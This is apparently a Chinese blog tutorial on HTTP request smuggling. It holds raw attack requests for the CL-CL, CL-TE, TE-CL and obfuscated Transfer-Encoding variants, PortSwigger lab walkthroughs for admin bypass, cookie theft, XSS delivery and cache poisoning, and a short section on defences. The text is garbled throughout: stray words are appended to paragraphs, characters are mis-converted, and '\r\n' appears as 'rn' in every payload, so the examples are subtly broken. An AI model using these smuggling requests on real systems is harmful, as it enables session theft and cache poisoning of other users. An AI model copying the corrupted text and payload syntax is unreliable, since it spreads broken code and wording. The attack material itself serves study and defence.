解密協議層的攻擊——HTTP請求走私

最近一直在研究一些比較有意思的攻擊方法與思路,在查閱本地文檔的時候(沒錯,本地,我常常會將一些有意思的文章可是沒時間看就會被我保存pdf到本地),一篇2019年Black hat的議題——HTTP請求走私,進入個人視野,同時我也查閱到在2020 Blackhat中該攻擊手法再次被分析。我對此產生濃厚學習興趣,因而便有了這篇文章。html

HTTP請求走私是一種HTTP協議的攻擊利用方法,該攻擊產生的緣由在於HTTP代理鏈中HTTP Server的實現中存在不一致的問題。前端

時間線

  • 2004年,_@Amit Klein提出_HTTP Response Splitting 技術,爲HTTP Smuggling攻擊雛形;
  • 2005年, 第一次被@Watchfire所提出, 並對其進行了詳細介紹;
  • 2016年, DEFCON 24上,@regilero在他的議題—— Hiding Wookiees in HTTP 中在對前面報告進行豐富與擴充;
  • 2019年, Blackhat USA上,PortSwigger的@James Kettle在其議題—— HTTP DESYNC ATTACKS SMASHING INTO THE CELL NEXT DOOR 中對當前網絡環境進行了分析,同時在其利用上加入chunked技術,對現有攻擊面進行了拓展;
  • 2020年, Blackhat USA上,@Amit Klein在其議題——_HTTP Request Smuggling in 2020_ 中最新變種手法進行分析,同時對各種環境場景下進行了分析。

漏洞利用場景分析

HTTP協議請求走私並不像其餘web攻擊手法那麼直觀,而是在更加複雜的網絡環境中,因不一樣服務器基於不一樣的RFC標準實現的針對HTTP協議包的不一樣處理方式而產生的一種安全風險。git

在對其漏洞進行分析前,首先須要瞭解目前被普遍使用的HTTP 1.1協議特性——Keep-Alive、Pipeline技術。github

簡單來講,在HTTP 1.0及其之前版本的協議中,在每次進行交互的時候,C/S兩端都須要進行TCP的三次握手連接。而現在的web頁面大部分主要仍是由大量靜態資源所組成。若是依然按照HTTP 1.0及其之前版本的協議設計,會致使服務器大量的負載被浪費。因而在HTTP 1.1中,增長了Keep-Alive、Pipeline技術。web

KEEP-ALIVE

根據RFC7230規範中 section-6.3 能夠得知,HTTP 1.1中默認使用persistent connections方式。其實現手法是在HTTP通訊包中加入Connection: Keep-Alive標識:在一次HTTP通訊後不會關閉TCP鏈接,而在後續相同目標服務器請求中複用該空閒的TCP通道,避免了因爲新建TCP鏈接產生的時延和服務器資源消耗,提高用戶資源訪問速度。apache

PIPELINE

而在Keep-Alive中後續又有了Pipeline機制,這樣客戶端就能夠像流水線同樣不用等待某個包的響應而持續的向服務器發包。而服務器也會遵循先進先出原則對客戶端請求進行響應。segmentfault

如圖,咱們能夠看到相比於no pipelining模式,pipelining模式下服務器在響應時間上有了很大的提高。後端

現現在,爲了提升用戶瀏覽速度、增強服務穩定性、提高使用體驗以及減輕網絡負擔。大部分廠商都會使用CDN加速服務或負載均衡LB等部署業務。當用戶訪問服務器靜態資源時,將直接從CDN上獲取詳情,當存在真正服務器交互時,纔會與後端服務器產生交互。如圖所示:緩存

可是,該模式中reverse proxy部分將長期與back-end部分通訊,通常狀況下這部分鏈接會重用TCP通道。通俗來講,用戶流量來自四面八方,user端到reverse proxy端通訊會創建多條TCP通道,而rever proxy與back-end端通訊ip固定,這二者重用TCP鏈接通道來通訊便瓜熟蒂落了。安全

在這種場景下,當不一樣服務器實現時參考的RFC標準不一樣時,咱們向reverse proxy發送一個比較模糊的HTTP請求時,由於reverse proxy與back-end基於不一樣標準進行解析,可能產生reverse proxy認爲該HTTP請求合法,並轉發到back-end,而back-end只認爲部分HTTP請求合法,剩下的多餘請求,便就算是夾帶走私的HTTP請求了。當該部分對正經常使用戶的請求形成了影響以後,就實現了HTTP走私攻擊。如圖所示:深色爲正常請求,橙色爲走私請求,綠色爲正經常使用戶請求。一塊兒發包狀況下,走私的請求內容被拼接到正常請求中。

CHUNKED數據包格式

分塊傳輸編碼(Chunked transfer encoding) 是超文本傳輸協議(HTTP)中的一種數據傳輸機制,容許 HTTP 的數據能夠分紅多個部分。

以下圖所示,爲jdcloud.com未進行數據包進行chunked。

當對jdcloud.com進行分塊時,以下圖所示。

常見攻擊

注:後續文章中所提到CL=Content-Length,TE=Transfer-Encoding,如需使用burpsuite進行數據包調試時,需去除Repeater中Update Content-Length選項。

場景1:GET請求中CL不爲0狀況

主要指在GET中設置Content-Length長度,使用body發送數據。固然這裏也不只僅限制與GET請求中,只是GET的理解比較典型,因此咱們用在作例子。

RFC7230 Content-Length 部分提到:

For example, a Content-Length header field is normally sent in a POST request even when the value is 0 (indicating an empty payload body). A user agent SHOULD NOT send a Content-Length header field when the request message does not contain a payload body and the method semantics do not anticipate such a body.

在最新的 RFC7231 4.3.1 GET 中也僅僅提了一句:

A payload within a GET request message has no defined semantics; sending a payload body on a GET request might cause some existing implementations to reject the request.

從官方規範文檔能夠了解到:RFC規範並未嚴格的規範Server端處理方式,對該類請求的規範也適當進行了放鬆,可是也是部分狀況。因爲這些中間件沒有一個嚴格的標準依據,因此也會產生解析差別致使HTTP Smuggling攻擊。

  • 構造數據包
GET / HTTP/1.1rn
Host: example.comrn
Content-Length: 44rn

GET /secret HTTP/1.1rn
Host: example.comrn
rn

因爲GET請求,服務器將不對Content-Length進行處理,同時由於Pipeline的存在,後端服務器會將該數據包視爲兩個GET請求。分別爲:

請求——1

GET / HTTP/1.1rn
Host: example.comrn

請求——2

GET /secret HTTP/1.1rn
Host: example.comrn

這就致使了請求走私。

場景2:CL-CL

在RFC7230的第_3.3.3_節中的第四條中,規定當服務器收到的請求中包含兩個Content-Length,並且二者的值不一樣時,須要返回400錯誤。

If a message is received without Transfer-Encoding and with either multiple Content-Length header fields having differing field-values or a single Content-Length header field having an invalid value, then the message framing is invalid and the recipient MUST treat it as an unrecoverable error. If this is a request message, the server MUST respond with a 400 (Bad Request) status code and then close the connection. If this is a response message received by a proxy, the proxy MUST close the connection to the server, discard the received response, and send a 502 (Bad Fielding & Reschke Standards Track [Page 32] RFC 7230 HTTP/1.1 Message Syntax and Routing June 2014 Gateway) response to the client. If this is a response message received by a user agent, the user agent MUST close the connection to the server and discard the received response.

可是某些服務器並沒遵循規範進行實現,當服務器未遵循該規範時,先後服務器都不會響應400。可能形成代理服務器使用第一個Content-Length獲取長度,然後端按照第二個Content-Length獲取長度。

  • 構造數據包
POST / HTTP/1.1rn
Host: example.comrn
Content-Length: 8rn
Content-Length: 7rn

12345rn
a

這個時候,當後端服務器接受到數據包時,Content-Length長度爲7。實際上接受到的body爲12345rn,而咱們前面所提到的,代理服務器會與後端服務器重用TCP通道,這個時候a就會拼接到下一個請求。這個時候若是存在一個用戶發起GET請求。則該用戶GET請求實際爲:

aGET / HTTP/1.1rn
Host: example.comrn

同時該用戶也會收到一個相似aGET request method not found的報錯響應,其實這樣就已經實現了一次HTTP協議走私攻擊,對正經常使用戶形成了影響,並且後續能夠擴展成相似於CSRF的攻擊方式。

可是兩個Content-Length這種請求包仍是太過於理想化了,通常的服務器都不會接受這種存在兩個請求頭的請求包,可是在RFC2616的第_4.4_節中,規定:

The transfer-length of a message is the length of the message-body as it appears in the message; that is, after any transfer-codings have been applied. When a message-body is included with a message, the transfer-length of that body is determined by one of the following (in order of precedence):

If a Transfer-Encoding header field (section 14.41) is present and has any value other than "identity", then the transfer-length is defined by use of the "chunked" transfer-coding (section 3.6), unless the message is terminated by closing the connection.

也就是說,當Content-Length與Transfer-Encoding同時被定義使用時,可忽略Content-Length。也就是說當Transfer-Encoding的加入,兩個Content-Length並不影響代理服務器與後端服務器的響應。

場景3:CL-TE

這裏的狀況是指代理服務器處理Content-Length,後端服務器會遵照RFC2616的規定,處理Transfer-Encoding的狀況(這裏也就是場景2後邊所提到的狀況)。

  • 構造數據包
POST / HTTP/1.1rn
 Host: example.comrn
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0rn
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn
 Accept-Language: en-US,en;q=0.5rn
 Connection: keep-alivern
 Content-Length: 6rn
 Transfer-Encoding: chunkedrn
 rn
0rn
rn
G
  • 因先後服務器規範不一樣,解析以下:

請求——1 (代理服務器的解析)

POST / HTTP/1.1rn
 Host: example.comrn
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0rn
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn
 Accept-Language: en-US,en;q=0.5rn
 Connection: keep-alivern
 Content-Length: 6rn
 Transfer-Encoding: chunkedrn
 rn
0rn
rn
G

請求——2 (代理服務器的解析)

G

其中G被留在緩存區中,當無其餘用戶請求時候,該數據包會不會產生解析問題,但TCP重用狀況,當一個正常請求過來時候。將出現以下狀況:

GPOST / HTTP/1.1rn
Host: example.comrn
....

這個時候HTTP包,再一次經過TCP通道進行走私。

場景4:TE-CL

即代理服務器處理Transfer-Encoding請求,後端服務器處理Content-Length請求。

  • 構造數據包
POST / HTTP/1.1rn
 Host: example.comrn
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0rn
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn
 Accept-Language: en-US,en;q=0.5rn
 Content-Length: 4rn
 Transfer-Encoding: chunkedrn
 rn
 12rn
GPOST / HTTP/1.1rn
rn
0rn
rn

因爲Transfer-Encoding遇到0rnrn才結束解析。此時後端將解析Content-Length,真正到達後端數據將爲:

POST / HTTP/1.1rn
2Host: example.comrn
3User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0rn
4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn
5Accept-Language: en-US,en;q=0.5rn
6Content-Length: 4rn
7rn
812rn

同時將出現第二個數據包:

GPOST / HTTP/1.1rn
rn
0rn
rn

當收到存在兩個請求頭的請求包時,先後端服務器都處理Transfer-Encoding請求頭,這確實是實現了RFC的標準。不過先後端服務器畢竟不是同一種,這就有了一種方法,咱們能夠對發送的請求包中的Transfer-Encoding進行某種混淆操做(這裏主要指Content-Length),從而使其中一個服務器不處理Transfer-Encoding請求頭。從某種意義上仍是CL-TE或者TE-CL。

  • 構造數據包
POST / HTTP/1.1rn
Host: example.comrn
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0rn
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn
Content-length: 4rn
Transfer-Encoding: chunkedrn
Transfer-encoding: cowrn
rn
5crn
GPOST / HTTP/1.1rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 15rn
rn
x=1rn
0rn
rn

攻擊場景分析

使用PortSwigger的實驗環境環境進行實際攻擊演示。

複用TCP進行管理員操做

*靶場連接:

https://portswigger.net/web-s...

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. There's an admin panel at /admin, but the front-end server blocks access to it.

To solve the lab, smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.

實驗目的:訪問admin頁,並利用認證對carlos用戶進行刪除。

  • SETP 一、因直接訪問/admin目錄被提示攔截,同時題目提示CL.TE。這裏經過構造CL.TE格式數據包,嘗試訪問。/admin路由。

  • SETP 二、訪問提示管理員界面只容許爲本地用戶訪問,嘗試直接訪問localhost,並獲取到刪除用戶路由地址。

  • SETP 三、經過構造請求訪問便可,最終再次訪問/admin顯示頁面已經沒有刪除carlos用戶選項。

結合業務獲取用戶請求包-1

*連接:

https://portswigger.net/web-s...

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.

There's an admin panel at /admin, but it's only accessible to people with the IP address 127.0.0.1. The front-end server adds an HTTP header to incoming requests containing their IP address. It's similar to the X-Forwarded-For header but has a different name.

To solve the lab, smuggle a request to the back-end server that reveals the header that is added by the front-end server. Then smuggle a request to the back-end server that includes the added header, accesses the admin panel, and deletes the user carlos.

實驗目的同上,不過這裏在前端服務器作了限制。不支持chunked。同時前端到後端作了檢查,在headers中自定義了一個相似於X-Forwarded-For的頭。

  • SETP一、經過頁面search處直接構造走私數據包,在頁面返回中間服務器到後端服務器數據包內容(走私數據包長度當前爲200,若實際場景中顯示不全則可經過增長CL長度解決),獲取到X-uNiqsg-Ip頭。同時,這裏之因此選擇search處,主要是由於該處在頁面存在輸出。

  • SETP二、經過僞造一樣請求發包便可。

結合業務獲取用戶請求包-

*連接:

https://portswigger.net/web-s...

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.

To solve the lab, smuggle a request to the back-end server that causes the next user's request to be stored in the application. Then retrieve the next user's request and use the victim user's cookies to access their account.

實驗目的:經過寫頁面的方式,獲取下一個請求數據包中cookie數據。

  • SETP一、發現post?postId=路由下存在寫頁面操做,經過修改數據包。

  • SETP二、訪問當前頁面查看website處便可獲取到下一個請求包的數據。(這裏一樣也能夠控制下一個請求包數據在評論區,只需將最後一個評論參數comment放至最後便可)

反射XSS

*連接:

https://portswigger.net/web-s...

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding.

The application is also vulnerable to _reflected XSS_ via the User-Agent header.

To solve the lab, smuggle a request to the back-end server that causes the next user's request to receive a response containing an XSS exploit that executes alert(1).

應用場景:當業務存在反射型XSS時,可經過緩存投毒的方式在其餘用戶頁面寫入髒數據。

SETP一、 進入任意評論區發現頁面存在userAgent回顯,經過走私協議修改userAgent便可。

進行緩存投毒

*連接:

https://portswigger.net/web-s...

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. The front-end server is configured to cache certain responses.

To solve the lab, perform a request smuggling attack that causes the cache to be poisoned, such that a subsequent request for a JavaScript file receives a redirection to the exploit server. The poisoned cache should alert document.cookie.

應用場景:劫持下一用戶請求頁面。(實際場景中可劫持跳轉至釣魚等頁面)

  • SETP一、緩存注入修改Host爲惡意請求。

關於防護

從前面的案例咱們能夠看到HTTP請求走私的危害性,那麼如何防護呢?

  • 禁用代理服務器與後端服務器之間的TCP鏈接重用。
  • 使用HTTP/2協議。
  • 先後端使用相同的服務器。

可是這些修復方法又存在一些現實困難:

  • HTTP/2推行過於困難,儘管HTTP/2兼容HTTP/1.1。
  • 取消TCP重用將增大服務器負載,服務器資源吃不消。
  • 使用相同的服務器,在一些廠商其實也很難實現。其主要緣由仍是先後端實現標準不一致的問題。

那麼沒有解決方案了嘛?

其實否則,上雲就是個很好的方案。雲主機、CDN、WAF都統一實現編碼規範,能夠很好地避免該類問題的產生。

參考連接

* https://media.defcon.org/DEF%...
* https://portswigger.net/resea...
* https://regilero.github.io/en...
* https://paper.seebug.org/1048
* https://tools.ietf.org/html/r...
* http://blog.zeddyu.info/2019/...
* https://tools.ietf.org/html/r...
* https://tools.ietf.org/html/r...

推薦閱讀

歡迎點擊【京東科技】,瞭解開發者社區

更多精彩技術實踐與獨家乾貨解析

歡迎關注【京東科技開發者】公衆號

相關文章
相關標籤/搜索